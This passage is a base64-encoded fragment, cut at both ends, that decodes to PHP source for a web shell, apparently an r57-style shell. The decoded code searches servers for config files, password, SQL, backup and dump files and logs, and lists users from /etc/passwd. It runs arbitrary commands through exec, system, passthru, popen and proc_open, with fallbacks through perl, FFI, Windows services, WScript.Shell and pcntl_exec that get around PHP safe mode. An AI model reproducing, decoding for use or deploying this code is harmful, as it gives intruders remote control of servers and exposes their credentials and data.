R4dDtjYXQgJy4kdGVtcGRpci4nZ3JlcC50eHQnLAonZmluZCBjb25maWcuZGF0IGZpbGVzID4+ICcuJHRlbXBkaXIuJ2dyZXAudHh0O2NhdCAnLiR0ZW1wZGlyLidncmVwLnR4dCc9PidmaW5kIC8gLXR5cGUgZiAtbmFtZSBjb25maWcuZGF0ID4+ICcuJHRlbXBkaXIuJ2dyZXAudHh0O2NhdCAnLiR0ZW1wZGlyLidncmVwLnR4dCcsCidmaW5kIGNvbmZpZy5waHAgZmlsZXMgPj4gJy4kdGVtcGRpci4nZ3JlcC50eHQ7Y2F0ICcuJHRlbXBkaXIuJ2dyZXAudHh0Jz0+J2ZpbmQgLyAtdHlwZSBmIC1uYW1lIGNvbmZpZy5waHAgPj4gJy4kdGVtcGRpci4nZ3JlcC50eHQ7Y2F0ICcuJHRlbXBkaXIuJ2dyZXAudHh0JywKJ2ZpbmQgY29uZmlnLmluYyBmaWxlcyA+PiAnLiR0ZW1wZGlyLidncmVwLnR4dDtjYXQgJy4kdGVtcGRpci4nZ3JlcC50eHQnPT4nZmluZCAvIC10eXBlIGYgLW5hbWUgY29uZmlnLmluYyA+PiAnLiR0ZW1wZGlyLidncmVwLnR4dDtjYXQgJy4kdGVtcGRpci4nZ3JlcC50eHQnLAonZmluZCBjb25maWcuaW5jLnBocCBmaWxlcyA+PiAnLiR0ZW1wZGlyLidncmVwLnR4dDtjYXQgJy4kdGVtcGRpci4nZ3JlcC50eHQnPT4nZmluZCAvIC10eXBlIGYgLW5hbWUgY29uZmlnLmluYy5waHAgPj4gJy4kdGVtcGRpci4nZ3JlcC50eHQ7Y2F0ICcuJHRlbXBkaXIuJ2dyZXAudHh0JywKJ2ZpbmQgY29uZmlnLmRlZmF1bHQucGhwIGZpbGVzID4+ICcuJHRlbXBkaXIuJ2dyZXAudHh0O2NhdCAnLiR0ZW1wZGlyLidncmVwLnR4dCc9PidmaW5kIC8gLXR5cGUgZiAtbmFtZSBjb25maWcuZGVmYXVsdC5waHAgPj4gJy4kdGVtcGRpci4nZ3JlcC50eHQ7Y2F0ICcuJHRlbXBkaXIuJ2dyZXAudHh0JywKJ2ZpbmQgKi5jb25mIGZpbGVzID4+ICcuJHRlbXBkaXIuJ2dyZXAudHh0O2NhdCAnLiR0ZW1wZGlyLidncmVwLnR4dCc9PidmaW5kIC8gLXR5cGUgZiAtbmFtZSAiKi5jb25mIiA+PiAnLiR0ZW1wZGlyLidncmVwLnR4dDtjYXQgJy4kdGVtcGRpci4nZ3JlcC50eHQnLAonZmluZCAqLnB3ZCBmaWxlcyA+PiAnLiR0ZW1wZGlyLidncmVwLnR4dDtjYXQgJy4kdGVtcGRpci4nZ3JlcC50eHQnPT4nZmluZCAvIC10eXBlIGYgLW5hbWUgIioucHdkIiA+PiAnLiR0ZW1wZGlyLidncmVwLnR4dDtjYXQgJy4kdGVtcGRpci4nZ3JlcC50eHQnLAonZmluZCAqLnNxbCBmaWxlcyA+PiAnLiR0ZW1wZGlyLidncmVwLnR4dDtjYXQgJy4kdGVtcGRpci4nZ3JlcC50eHQnPT4nZmluZCAvIC10eXBlIGYgLW5hbWUgIiouc3FsIiA+PiAnLiR0ZW1wZGlyLidncmVwLnR4dDtjYXQgJy4kdGVtcGRpci4nZ3JlcC50eHQnLAonZmluZCAqYmFja3VwKiBmaWxlcyA+PiAnLiR0ZW1wZGlyLidncmVwLnR4dDtjYXQgJy4kdGVtcGRpci4nZ3JlcC50eHQnPT4nZmluZCAvIC10eXBlIGYgLW5hbWUgIipiYWNrdXAqIiA+PiAnLiR0ZW1wZGlyLidncmVwLnR4dDtjYXQgJy4kdGVtcGRpci4nZ3JlcC50eHQnLAonZmluZCAqZHVtcCogZmlsZXMgPj4gJy4kdGVtcGRpci4nZ3JlcC50eHQ7Y2F0ICcuJHRlbXBkaXIuJ2dyZXAudHh0Jz0+J2ZpbmQgLyAtdHlwZSBmIC1uYW1lICIqZHVtcCoiID4+ICcuJHRlbXBkaXIuJ2dyZXAudHh0O2NhdCAnLiR0ZW1wZGlyLidncmVwLnR4dCcsCictLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLSc9PicnLAonZmluZCAvdmFyLyBhdXRoX2xvZyBmaWxlcyA+PiAnLiR0ZW1wZGlyLidncmVwLnR4dDtjYXQgJy4kdGVtcGRpci4nZ3JlcC50eHQnPT4nZmluZCAvdmFyLyAtdHlwZSBmIC1uYW1lIGF1dGhfbG9nID4+ICcuJHRlbXBkaXIuJ2dyZXAudHh0O2NhdCAnLiR0ZW1wZGlyLidncmVwLnR4dCcsCidmaW5kIC92YXIvIGFjY2Vzc19sb2cgZmlsZXMgPj4gJy4kdGVtcGRpci4nZ3JlcC50eHQ7Y2F0ICcuJHRlbXBkaXIuJ2dyZXAudHh0Jz0+J2ZpbmQgL3Zhci8gLXR5cGUgZiAtbmFtZSBhY2Nlc3NfbG9nID4+ICcuJHRlbXBkaXIuJ2dyZXAudHh0O2NhdCAnLiR0ZW1wZGlyLidncmVwLnR4dCcsCidmaW5kIC92YXIvIGVycm9yX2xvZyBmaWxlcyA+PiAnLiR0ZW1wZGlyLidncmVwLnR4dDtjYXQgJy4kdGVtcGRpci4nZ3JlcC50eHQnPT4nZmluZCAvdmFyLyAtdHlwZSBmIC1uYW1lIGVycm9yX2xvZyA+PiAnLiR0ZW1wZGlyLidncmVwLnR4dDtjYXQgJy4kdGVtcGRpci4nZ3JlcC50eHQnLAonZmluZCAvdmFyLyBhdXRoLmxvZyBmaWxlcyA+PiAnLiR0ZW1wZGlyLidncmVwLnR4dDtjYXQgJy4kdGVtcGRpci4nZ3JlcC50eHQnPT4nZmluZCAvdmFyLyAtdHlwZSBmIC1uYW1lIGF1dGgubG9nID4+ICcuJHRlbXBkaXIuJ2dyZXAudHh0O2NhdCAnLiR0ZW1wZGlyLidncmVwLnR4dCcsCidmaW5kIC92YXIvIGFjY2Vzcy5sb2cgZmlsZXMgPj4gJy4kdGVtcGRpci4nZ3JlcC50eHQ7Y2F0ICcuJHRlbXBkaXIuJ2dyZXAudHh0Jz0+J2ZpbmQgL3Zhci8gLXR5cGUgZiAtbmFtZSBhY2Nlc3MubG9nID4+ICcuJHRlbXBkaXIuJ2dyZXAudHh0O2NhdCAnLiR0ZW1wZGlyLidncmVwLnR4dCcsCidmaW5kIC92YXIvIGVycm9yLmxvZyBmaWxlcyA+PiAnLiR0ZW1wZGlyLidncmVwLnR4dDtjYXQgJy4kdGVtcGRpci4nZ3JlcC50eHQnPT4nZmluZCAvdmFyLyAtdHlwZSBmIC1uYW1lIGVycm9yLmxvZyA+PiAnLiR0ZW1wZGlyLidncmVwLnR4dDtjYXQgJy4kdGVtcGRpci4nZ3JlcC50eHQnLAonZmluZCAvdmFyLyAiKl9sb2ciIGZpbGVzID4+ICcuJHRlbXBkaXIuJ2dyZXAudHh0O2NhdCAnLiR0ZW1wZGlyLidncmVwLnR4dCc9PidmaW5kIC92YXIvIC10eXBlIGYgLW5hbWUgIioubG9nIiA+PiAnLiR0ZW1wZGlyLidncmVwLnR4dDtjYXQgJy4kdGVtcGRpci4nZ3JlcC50eHQnLAonZmluZCAvdmFyLyAiKi5sb2ciIGZpbGVzID4+ICcuJHRlbXBkaXIuJ2dyZXAudHh0O2NhdCAnLiR0ZW1wZGlyLidncmVwLnR4dCc9PidmaW5kIC92YXIvIC10eXBlIGYgLW5hbWUgIioubG9nIiA+PiAnLiR0ZW1wZGlyLidncmVwLnR4dDtjYXQgJy4kdGVtcGRpci4nZ3JlcC50eHQnLAonLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLSc9PidscyAtbGEnCik7CiR0YWJsZV91cDEgID0gIjx0cj48dGQgYmdjb2xvcj0jY2NjY2NjPjxmb250IGZhY2U9VmVyZGFuYSBzaXplPS0yPjxiPjxkaXYgYWxpZ249Y2VudGVyPjo6ICI7CiR0YWJsZV91cDIgID0gIiA6OjwvZGl2PjwvYj48L2ZvbnQ+PC90ZD48L3RyPjx0cj48dGQ+IjsKJHRhYmxlX3VwMyAgPSAiPHRhYmxlIHdpZHRoPTEwMCUgY2VsbHBhZGRpbmc9MCBjZWxsc3BhY2luZz0wIGJnY29sb3I9IzAwMDAwMD48dHI+PHRkIGJnY29sb3I9I2NjY2NjYz4iOwokdGFibGVfZW5kMSA9ICI8L3RkPjwvdHI+IjsKJGFycm93ID0gIiA8Zm9udCBmYWNlPVdlYmRpbmdzIGNvbG9yPWdyYXk+NDwvZm9udD4iOwokbGIgPSAiPGZvbnQgY29sb3I9YmxhY2s+WzwvZm9udD4iOwokcmIgPSAiPGZvbnQgY29sb3I9YmxhY2s+XTwvZm9udD4iOwokZm9udCA9ICI8Zm9udCBmYWNlPVZlcmRhbmEgc2l6ZT0tMj4iOwokdHMgPSAiPHRhYmxlIGNsYXNzPXRhYmxlMSB3aWR0aD0xMDAlIGFsaWduPWNlbnRlcj4iOwokdGUgPSAiPC90YWJsZT4iOwokZnMgPSAiPGZvcm0gbmFtZT1mb3JtIG1ldGhvZD1QT1NUPiI7CiRmZSA9ICI8L2Zvcm0+IjsKCmlmKGlzc2V0KCRfR0VUWyd1c2VycyddKSkgCiB7IAogaWYoISR1c2Vycz1nZXRfdXNlcnMoJy9ldGMvcGFzc3dkJykpIHsgZWNobyAiPGNlbnRlcj48Zm9udCBmYWNlPVZlcmRhbmEgc2l6ZT0tMiBjb2xvcj1yZWQ+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0OTYnXS4iPC9mb250PjwvY2VudGVyPiI7IH0KIGVsc2UgCiAgeyAKICBlY2hvICc8Y2VudGVyPic7CiAgZm9yZWFjaCgkdXNlcnMgYXMgJHVzZXIpIHsgZWNobyAkdXNlci4iPGJyPiI7IH0KICBlY2hvICc8L2NlbnRlcj4nOwogIH0KIGVjaG8gIjxicj48ZGl2IGFsaWduPWNlbnRlcj48Zm9udCBmYWNlPVZlcmRhbmEgc2l6ZT0tMj48Yj5bIDxhIGhyZWY9JyIuJF9TRVJWRVJbJ1BIUF9TRUxGJ10uIic+QkFDSzwvYT4gXTwvYj48L2ZvbnQ+PC9kaXY+IjsgZGllKCk7IAogfQoKaWYgKCFlbXB0eSgkX1BPU1RbJ2RpciddKSkgeyBpZihAZnVuY3Rpb25fZXhpc3RzKCdjaGRpcicpKXtAY2hkaXIoJF9QT1NUWydkaXInXSk7fSBlbHNlIGlmKEBmdW5jdGlvbl9leGlzdHMoJ2Nocm9vdCcpKXsgQGNocm9vdCgkX1BPU1RbJ2RpciddKTt9OyB9CmlmIChlbXB0eSgkX1BPU1RbJ2RpciddKSl7aWYoQGZ1bmN0aW9uX2V4aXN0cygnY2hkaXInKSl7JGRpciA9IEBnZXRjd2QoKTt9O31lbHNleyRkaXI9JF9QT1NUWydkaXInXTt9CiR1bml4ID0gMDsKaWYoc3RybGVuKCRkaXIpPjEgJiYgJGRpclsxXT09IjoiKSAkdW5peD0wOyBlbHNlICR1bml4PTE7CmlmKGVtcHR5KCRkaXIpKQogeyAKICRvcyA9IGdldGVudignT1MnKTsKIGlmKGVtcHR5KCRvcykpeyAkb3MgPSBAcGhwX3VuYW1lKCk7IH0gCiBpZihlbXB0eSgkb3MpKXsgJG9zID0iLSI7ICR1bml4PTE7IH0gCiBlbHNlCiAgICB7CiAgICBpZihAZXJlZ2koIl53aW4iLCRvcykpIHsgJHVuaXggPSAwOyB9CiAgICBlbHNlIHsgJHVuaXggPSAxOyB9CiAgICB9CiB9CgppZighZW1wdHkoJF9QT1NUWydzX2RpciddKSAmJiAhZW1wdHkoJF9QT1NUWydzX3RleHQnXSkgJiYgIWVtcHR5KCRfUE9TVFsnY21kJ10pICYmICRfUE9TVFsnY21kJ10gPT0gInNlYXJjaF90ZXh0IikKICB7CiAgICBlY2hvICRoZWFkOwogICAgaWYoIWVtcHR5KCRfUE9TVFsnc19tYXNrJ10pICYmICFlbXB0eSgkX1BPU1RbJ20nXSkpIHsgJHNyID0gbmV3IFNlYXJjaFJlc3VsdCgkX1BPU1RbJ3NfZGlyJ10sJF9QT1NUWydzX3RleHQnXSwkX1BPU1RbJ3NfbWFzayddKTsgfQogICAgZWxzZSB7ICRzciA9IG5ldyBTZWFyY2hSZXN1bHQoJF9QT1NUWydzX2RpciddLCRfUE9TVFsnc190ZXh0J10pOyB9CiAgICAkc3ItPlNlYXJjaFRleHQoMCwwKTsKICAgICRyZXMgPSAkc3ItPkdldFJlc3VsdEZpbGVzKCk7CiAgICAkZm91bmQgPSAkc3ItPkdldE1hdGNoZXNDb3VudCgpOwogICAgJHRpdGxlcyA9ICRzci0+R2V0VGl0bGVzKCk7CiAgICAkciA9ICIiOwogICAgaWYoJGZvdW5kID4gMCkKICAgIHsKICAgICAgJHIgLj0gIjxUQUJMRSB3aWR0aD0xMDAlPiI7CiAgICAgIGZvcmVhY2goJHJlcyBhcyAkZmlsZT0+JHYpCiAgICAgIHsKICAgICAgICAkciAuPSAiPFRSPiI7CiAgICAgICAgJHIgLj0gIjxURCBjb2xzcGFuPTI+PGZvbnQgZmFjZT1WZXJkYW5hIHNpemU9LTI+PGI+Ii53cygzKTsKICAgICAgICAkciAuPSAoISR1bml4KT8gc3RyX3JlcGxhY2UoIi8iLCJcXCIsJGZpbGUpIDogJGZpbGU7CiAgICAgICAgJHIgLj0gIjwvYj48L2ZvbnQ+PC8gVEQ+IjsKICAgICAgICAkciAuPSAiPC9UUj4iOwogICAgICAgIGZvcmVhY2goJHYgYXMgJGE9PiRiKQogICAgICAgIHsKICAgICAgICAgICRyIC49ICI8VFI+IjsKICAgICAgICAgICRyIC49ICI8VEQgYWxpZ249Y2VudGVyPjxCPjxmb250IGZhY2U9VmVyZGFuYSBzaXplPS0yPiIuJGEuIjwvZm9udD48L0I+PC9URD4iOwogICAgICAgICAgJHIgLj0gIjxURD48Zm9udCBmYWNlPVZlcmRhbmEgc2l6ZT0tMj4iLndzKDIpLiRiLiI8L2ZvbnQ+PC9URD4iOwogICAgICAgICAgJHIgLj0gIjwvVFI+XG4iOwogICAgICAgIH0KICAgICAgfQogICAgICAkciAuPSAiPC9UQUJMRT4iOwogICAgZWNobyAkcjsKICAgIH0KICAgIGVsc2UKICAgIHsKICAgICAgZWNobyAiPFAgYWxpZ249Y2VudGVyPjxCPjxmb250IGZhY2U9VmVyZGFuYSBzaXplPS0yPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDU2J10uIjwvQj48L2ZvbnQ+PC9QPiI7CiAgICB9CiAgZWNobyAiPGJyPjxkaXYgYWxpZ249Y2VudGVyPjxmb250IGZhY2U9VmVyZGFuYSBzaXplPS0yPjxiPlsgPGEgaHJlZj0nIi4kX1NFUlZFUlsnUEhQX1NFTEYnXS4iJz5CQUNLPC9hPiBdPC9iPjwvZm9udD48L2Rpdj4iOwogIGRpZSgpOyAKICB9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAoKLyppZighJHNhZmVfbW9kZSAmJiBzdHJwb3MoZXgoImVjaG8gYWJjcjU3IiksInI1NyIpIT0zKSB7ICRzYWZlX21vZGUgPSAxOyB9Ki8KaWYoc3RycG9zKGV4KCJlY2hvIGFiY3I1NyIpLCJyNTciKSE9MykgeyAkc2FmZV9tb2RlID0gMTsgfWVsc2V7JHNhZmVfbW9kZSA9IDA7fQokU0VSVkVSX1NPRlRXQVJFID0gZ2V0ZW52KCdTRVJWRVJfU09GVFdBUkUnKTsKaWYoZW1wdHkoJFNFUlZFUl9TT0ZUV0FSRSkpeyAkU0VSVkVSX1NPRlRXQVJFID0gIi0iOyB9CgpmdW5jdGlvbiB3cygkaSkKewpyZXR1cm4gQHN0cl9yZXBlYXQoIiZuYnNwOyIsJGkpOwp9CgpmdW5jdGlvbiBleCgkY2ZlKQp7Z2xvYmFsICR1bml4LCR0ZW1wZGlyOwogJHJlcyA9ICcnOwogaWYgKCFlbXB0eSgkY2ZlKSkKIHsKICBpZihAZnVuY3Rpb25fZXhpc3RzKCdleGVjJykpCiAgIHsKICAgIEBleGVjKCRjZmUsJHJlcyk7CiAgICAkcmVzID0gam9pbigiXG4iLCRyZXMpOwogICB9CiAgZWxzZWlmKEBmdW5jdGlvbl9leGlzdHMoJ3NoZWxsX2V4ZWMnKSkKICAgewogICAgJHJlcyA9IEBzaGVsbF9leGVjKCRjZmUpOwogICB9CiAgZWxzZWlmKEBmdW5jdGlvbl9leGlzdHMoJ3N5c3RlbScpKQogICB7CiAgICBAb2Jfc3RhcnQoKTsKICAgIEBzeXN0ZW0oJyRjZmUnKTsKICAgICRyZXMgPSBAb2JfZ2V0X2NvbnRlbnRzKCk7CiAgICBAb2JfZW5kX2NsZWFuKCk7CiAgIH0KICBlbHNlaWYoQGZ1bmN0aW9uX2V4aXN0cygncGFzc3RocnUnKSkKICAgewogICAgQG9iX3N0YXJ0KCk7CiAgICBAcGFzc3RocnUoJGNmZSk7CiAgICAkcmVzID0gQG9iX2dldF9jb250ZW50cygpOwogICAgQG9iX2VuZF9jbGVhbigpOwogICB9CiAgZWxzZWlmKEBmdW5jdGlvbl9leGlzdHMoJ3BvcGVuJykgJiYgQGlzX3Jlc291cmNlKCRmID0gQHBvcGVuKCRjZmUsInIiKSkpCiAgewogICAkcmVzID0gIiI7CiAgIGlmKEBmdW5jdGlvbl9leGlzdHMoJ2ZyZWFkJykgJiYgQGZ1bmN0aW9uX2V4aXN0cygnZmVvZicpKXsKICAgIHdoaWxlKCFAZmVvZigkZikpIHsgJHJlcyAuPSBAZnJlYWQoJGYsMTAyNCk7IH0KICAgfWVsc2UgaWYoQGZ1bmN0aW9uX2V4aXN0cygnZmdldHMnKSAmJiBAZnVuY3Rpb25fZXhpc3RzKCdmZW9mJykpewogICAgd2hpbGUoIUBmZW9mKCRmKSkgeyAkcmVzIC49IEBmZ2V0cygkZiwxMDI0KTsgfQogICB9CiAgIEBwY2xvc2UoJGYpOwogIH0KICBlbHNlaWYoQGZ1bmN0aW9uX2V4aXN0cygncHJvY19vcGVuJykgJiYgQGlzX3Jlc291cmNlKCRmID0gQHByb2Nfb3BlbigkY2ZlLGFycmF5KDEgPT4gYXJyYXkoInBpcGUiLCAidyIpKSwkcGlwZXMpKSkKICB7CiAgICRyZXMgPSAiIjsKICAgaWYoQGZ1bmN0aW9uX2V4aXN0cygnZnJlYWQnKSAmJiBAZnVuY3Rpb25fZXhpc3RzKCdmZW9mJykpewogICAgd2hpbGUoIUBmZW9mKCRwaXBlc1sxXSkpIHskcmVzIC49IEBmcmVhZCgkcGlwZXNbMV0sIDEwMjQpO30KICAgfWVsc2UgaWYoQGZ1bmN0aW9uX2V4aXN0cygnZmdldHMnKSAmJiBAZnVuY3Rpb25fZXhpc3RzKCdmZW9mJykpewogICAgd2hpbGUoIUBmZW9mKCRwaXBlc1sxXSkpIHskcmVzIC49IEBmZ2V0cygkcGlwZXNbMV0sIDEwMjQpO30KICAgfQogICBAcHJvY19jbG9zZSgkZik7CiAgfQogfWVsc2V7JHJlcyA9IHNhZmVfZXgoJGNmZSk7fQogcmV0dXJuIGh0bWxzcGVjaWFsY2hhcnMoJHJlcyk7Cn0KCgpmdW5jdGlvbiBzYWZlX2V4KCRjZmUpCntnbG9iYWwgJHVuaXgsJHRlbXBkaXI7CiAkcmVzID0gJyc7CiBpZiAoIWVtcHR5KCRjZmUpKQogewogICBpZihleHRlbnNpb25fbG9hZGVkKCdwZXJsJykpewogICAgIEBvYl9zdGFydCgpOwogICAgICRzYWZlcGVybD1uZXcgcGVybCgpOwogICAgICRzYWZlcGVybC0+ZXZhbCgic3lzdGVtKCckY2ZlJykiKTsKICAgICAkcmVzID0gQG9iX2dldF9jb250ZW50cygpOwogICAgIEBvYl9lbmRfY2xlYW4oKTsKICAgfQogICBlbHNlaWYoISR1bml4ICYmIGV4dGVuc2lvbl9sb2FkZWQoJ2ZmaScpKSAKICAgewogICAgICRvdXRwdXQ9JHRlbXBkaXIudW5pcWlkKCdOSicpOwogICAgICRhcGk9bmV3IGZmaSgiW2xpYj0na2VybmVsMzIuZGxsJ10gaW50IFdpbkV4ZWMoY2hhciAqQVBQLGludCBTVyk7Iik7CiAgICAgaWYoIUBmdW5jdGlvbl9leGlzdHMoJ2VzY2FwZXNoZWxsYXJnJykpeyRyZXM9JGFwaS0+V2luRXhlYygiY21kLmV4ZSAvYyAkY2ZlID5cIiRvdXRwdXRcIiIsMCk7fQogICAgIGVsc2V7JHJlcz0kYXBpLT5XaW5FeGVjKCJjbWQuZXhlIC9jICIuQGVzY2FwZXNoZWxsYXJnKCRjZmUpLiIgPlwiJG91dHB1dFwiIiwwKTt9CiAgICAgd2hpbGUoIUBmaWxlX2V4aXN0cygkb3V0cHV0KSlzbGVlcCgxKTsKICAgICAkcmVzPW1vcmVyZWFkKCRvdXRwdXQpOwogICAgIEB1bmxpbmsoJG91dHB1dCk7CiAgIH0KICAgZWxzZWlmKCEkdW5peCAmJiBleHRlbnNpb25fbG9hZGVkKCd3aW4zMnNlcnZpY2UnKSkKICAgewogICAgICRvdXRwdXQ9JHRlbXBkaXIudW5pcWlkKCdOSicpOwogICAgICRuX3Nlcj11bmlxaWQoJ05KJyk7CiAgICAgaWYoIUBmdW5jdGlvbl9leGlzdHMoJ2VzY2FwZXNoZWxsYXJnJykpCiAgICAge0B3aW4zMl9jcmVhdGVfc2VydmljZShhcnJheSgnc2VydmljZSc9PiRuX3NlciwnZGlzcGxheSc9PiRuX3NlciwncGF0aCc9PidjOlxcd2luZG93c1xcc3lzdGVtMzJcXGNtZC5leGUnLCdwYXJhbXMnPT4iL2MgJGNmZSA+XCIkb3V0cHV0XCIiKSk7fQogICAgIGVsc2V7QHdpbjMyX2NyZWF0ZV9zZXJ2aWNlKGFycmF5KCdzZXJ2aWNlJz0+JG5fc2VyLCdkaXNwbGF5Jz0+JG5fc2VyLCdwYXRoJz0+J2M6XFx3aW5kb3dzXFxzeXN0ZW0zMlxcY21kLmV4ZScsJ3BhcmFtcyc9PiIvYyAiLkBlc2NhcGVzaGVsbGFyZygkY2ZlKS4iID5cIiRvdXRwdXRcIiIpKTt9CiAgICAgQHdpbjMyX3N0YXJ0X3NlcnZpY2UoJG5fc2VyKTsKICAgICBAd2luMzJfc3RvcF9zZXJ2aWNlKCRuX3Nlcik7CiAgICAgQHdpbjMyX2RlbGV0ZV9zZXJ2aWNlKCRuX3Nlcik7CiAgICAgd2hpbGUoIUBmaWxlX2V4aXN0cygkb3V0cHV0KSlzbGVlcCgxKTsKICAgICAkcmVzPW1vcmVyZWFkKCRvdXRwdXQpOwogICAgIEB1bmxpbmsoJG91dHB1dCk7CiAgIH0KICAgZWxzZWlmKCEkdW5peCAmJiBleHRlbnNpb25fbG9hZGVkKCJ3aW4zMnN0ZCIpKQogICB7CiAgICAgJG91dHB1dD0kdGVtcGRpci51bmlxaWQoJ05KJyk7CiAgICAgaWYoIUBmdW5jdGlvbl9leGlzdHMoJ2VzY2FwZXNoZWxsYXJnJykpe0B3aW5fc2hlbGxfZXhlY3V0ZSgnLi5cLi5cLi5cLi5cLi5cLi5cLi5cd2luZG93c1xzeXN0ZW0zMlxjbWQuZXhlIC9jICcuJGNmZS4nID4gIicuJG91dHB1dC4nIicpO30KICAgICBlbHNle0B3aW5fc2hlbGxfZXhlY3V0ZSgnLi5cLi5cLi5cLi5cLi5cLi5cLi5cd2luZG93c1xzeXN0ZW0zMlxjbWQuZXhlIC9jICcuQGVzY2FwZXNoZWxsYXJnKCRjZmUpLicgPiAiJy4kb3V0cHV0LiciJyk7fQogICAgIHdoaWxlKCFAZmlsZV9leGlzdHMoJG91dHB1dCkpc2xlZXAoMSk7CiAgICAgJHJlcz1tb3JlcmVhZCgkb3V0cHV0KTsKICAgICBAdW5saW5rKCRvdXRwdXQpOwogICB9CiAgIGVsc2VpZighJHVuaXgpCiAgIHsKICAgICAkb3V0cHV0PSR0ZW1wZGlyLnVuaXFpZCgnTkonKTsKICAgICAkc3VudHp1ID0gbmV3IENPTSgiV1NjcmlwdC5TaGVsbCIpOyAKICAgICBpZighQGZ1bmN0aW9uX2V4aXN0cygnZXNjYXBlc2hlbGxhcmcnKSl7JHN1bnR6dS0+UnVuKCdjOlx3aW5kb3dzXHN5c3RlbTMyXGNtZC5leGUgL2MgJy4kY2ZlLicgPiAiJy4kb3V0cHV0LiciJyk7fQogICAgIGVsc2V7JHN1bnR6dS0+UnVuKCdjOlx3aW5kb3dzXHN5c3RlbTMyXGNtZC5leGUgL2MgJy5AZXNjYXBlc2hlbGxhcmcoJGNmZSkuJyA+ICInLiRvdXRwdXQuJyInKTt9CiAgICAgJHJlcz1tb3JlcmVhZCgkb3V0cHV0KTsKICAgICBAdW5saW5rKCRvdXRwdXQpOwogICB9CiAgIGVsc2VpZihAZnVuY3Rpb25fZXhpc3RzKCdwY250bF9leGVjJykgJiYgQGZ1bmN0aW9uX2V4aXN0cygncGNudGxfZm9yaycpKQogICB7CiAgICAkcmVzID0gJ1t+XSBCbGluZCBDb21tYW5kIEV4ZWN1dGlvbiB2aWEgW3BjbnRsX2V4ZWNdXG5cbic7CiAgICAkb3V0cHV0PSR0ZW1wZGlyLnVuaXFpZCgncGNudGwnKTsKICAgICRwaWQgPSBAcGNudGxfZm9yaygpOwogICAgaWYgKCRwaWQgPT0gLTEpIHsKICAgICAkcmVzIC49ICdbLV0gQ291bGQgbm90IGNoaWxkcmVuIGZvcmsuIEV4aXQnOwogICAgfSBlbHNlIGlmICgkcGlkKSB7CiAgICAgICAgIGlmIChAcGNudGxfd2lmZXhpdGVkKCRzdGF0dXMpKXskcmVzIC49ICdbK10gRG9uZSEgQ29tbWFuZCAiJy4kY2ZlLiciIHN1Y2Nlc3NmdWxseSBleGVjdXRlZC4nO30KICAgICAgICAgZWxzZSB7JHJlcyAuPSAnWy1dIEVycm9yLiBDb21tYW5kIGluY29ycmVjdC4nO30KICAgIH0gZWxzZSB7CiAgICAgICAgICRjZmUgPSBhcnJheSgiIC1lICdzeXN0ZW0oXCIkY2ZlID4gJG91dHB1dFwiKSciKTsKICAgICAgICAgaWYoQHBjbnRsX2V4ZWMoJy91c3IvYmluL3BlcmwnLCRjZmUpKSBleGl0KDApOwogICAgICAgICBpZihAcGNudGxfZXhlYygnL3Vzci9sb2NhbC9iaW4vcGVybCcsJGNmZSkpIGV4aXQoMCk7CiAgICAgICAgIGRpZSgpOwogICAgfQogICAgJHJlcz1tb3JlcmVhZCgkb3V0cHV0KTsKICAgIEB1bmxpbmsoJG91dHB1dCk7CiAgIH0KLyogICBlbHNlaWYoMSkKICAgewogICAgIAogICB9CiovCiB9CiByZXR1cm4gaHRtbHNwZWNpYWxjaGFycygkcmVzKTsKfQoKZnVuY3Rpb24gZ2V0X3VzZXJzKCRmaWxlbmFtZSkKewogICR1c2VycyA9ICRyb3dzID0gYXJyYXkoKTsKICAkcm93cz1AZXhwbG9kZSgiXG4iLG1vcmVyZWFkKCRmaWxlbmFtZSkpOwogIGlmKCEkcm93c1swXSl7JHJvd3M9QGV4cGxvZGUoIlxuIixyZWFkemxpYigkZmlsZW5hbWUpKTt9CiAgaWYoISRyb3dzWzBdKSByZXR1cm4gMDsKICBmb3JlYWNoICgkcm93cyBhcyAkc3RyaW5nKQogICB7CiAgICR1c2VyID0gQGV4cGxvZGUoIjoiLHRyaW0oJHN0cmluZykpOwogICBpZihzdWJzdHIoJHN0cmluZywwLDEpIT0nIycpIGFycmF5X3B1c2goJHVzZXJzLCR1c2VyWzBdKTsKICAgfQogIHJldHVybiAkdXNlcnM7IAp9CmZ1bmN0aW9uIGVycigkbiwkdHh0PScnKQp7CmVjaG8gJzx0YWJsZSB3aWR0aD0xMDAlIGNlbGxwYWRkaW5nPTAgY2VsbHNwYWNpbmc9MD48dHI+PHRkIGJnY29sb3I9I2NjY2NjYz48Zm9udCBjb2xvcj1yZWQgZmFjZT1WZXJkYW5hIHNpemU9LTI+PGRpdiBhbGlnbj1jZW50ZXI+PGI+JzsKZWNobyAkR0xPQkFMU1snbGFuZyddWyRHTE9CQUxTWydsYW5ndWFnZSddLidfZXJyJy4kbl07CmlmKCFlbXB0eSgkdHh0KSkgeyBlY2hvICIgJHR4dCI7IH0KZWNobyAnPC9iPjwvZGl2PjwvZm9udD48L3RkPjwvdHI+PC90YWJsZT4nOwpyZXR1cm4gbnVsbDsKfQpmdW5jdGlvbiBwZXJtcygkbW9kZSkKewppZiAoISRHTE9CQUxTWyd1bml4J10pIHJldHVybiAwOwppZiggJG1vZGUgJiAweDEwMDAgKSB7ICR0eXBlPSdwJzsgfQplbHNlIGlmKCAkbW9kZSAmIDB4MjAwMCApIHsgJHR5cGU9J2MnOyB9CmVsc2UgaWYoICRtb2RlICYgMHg0MDAwICkgeyAkdHlwZT0nZCc7IH0KZWxzZSBpZiggJG1vZGUgJiAweDYwMDAgKSB7ICR0eXBlPSdiJzsgfQplbHNlIGlmKCAkbW9kZSAmIDB4ODAwMCApIHsgJHR5cGU9Jy0nOyB9CmVsc2UgaWYoICRtb2RlICYgMHhBMDAwICkgeyAkdHlwZT0nbCc7IH0KZWxzZSBpZiggJG1vZGUgJiAweEMwMDAgKSB7ICR0eXBlPSdzJzsgfQplbHNlICR0eXBlPSd1JzsKJG93bmVyWyJyZWFkIl0gPSAoJG1vZGUgJiAwMDQwMCkgPyAncicgOiAnLSc7CiRvd25lclsid3JpdGUiXSA9ICgkbW9kZSAmIDAwMjAwKSA/ICd3JyA6ICctJzsKJG93bmVyWyJle